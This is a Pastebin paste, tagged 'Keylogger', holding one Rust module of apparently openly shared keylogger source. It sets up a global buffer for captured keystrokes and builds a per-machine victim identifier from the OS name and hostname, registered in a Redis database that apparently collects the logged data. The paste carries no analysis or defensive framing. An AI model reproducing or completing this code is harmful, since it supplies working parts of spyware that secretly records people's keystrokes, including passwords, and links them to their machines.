Advertisement
FlyFar

ram/mod.rs

Jul 24th, 2023
1,449
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Rust 1.17 KB | Cybersecurity | 0 0
  1. use std::{env, thread, time};
  2. use std::sync::{Mutex, MutexGuard};
  3. use gethostname::gethostname;
  4. use once_cell::sync::Lazy;
  5.  
  6. pub mod clear_cache;
  7.  
  8. pub struct PubInfo {
  9.     pub key_pressed_cache: Vec<String>,
  10. }
  11.  
  12. pub static SAFE_PUB_VAR: Lazy<Mutex<PubInfo>> = Lazy::new(|| {
  13.     Mutex::new(PubInfo {
  14.         key_pressed_cache: vec![],
  15.     })
  16. });
  17.  
  18. impl PubInfo {
  19.     pub(crate) fn get() -> MutexGuard<'static, PubInfo> {
  20.        loop {
  21.            if let Ok(return_val) = SAFE_PUB_VAR.lock() {
  22.                return return_val;
  23.            }
  24.        }
  25.    }
  26. }
  27.  
  28. pub struct Constant {
  29.    pub who: String,
  30. }
  31.  
  32. pub static CONST: Lazy<Constant> = Lazy::new(|| {
  33.    let mut uses = 0;
  34.    let mut host_db_name = format!("{}:{:?}:{}", env::consts::OS, gethostname(), uses);
  35.    loop {
  36.        if let Ok(yes_or_no) = crate::db::redis::exists(&host_db_name) {
  37.            if !yes_or_no { break; } else {
  38.                uses += 1;
  39.                host_db_name = format!("{}:{:?}:{}", env::consts::OS, gethostname(), uses);
  40.            }
  41.        }
  42.        thread::sleep(time::Duration::from_millis(10))
  43.    }
  44.    Constant {
  45.        who: host_db_name,
  46.    }
  47. });
Tags: Keylogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement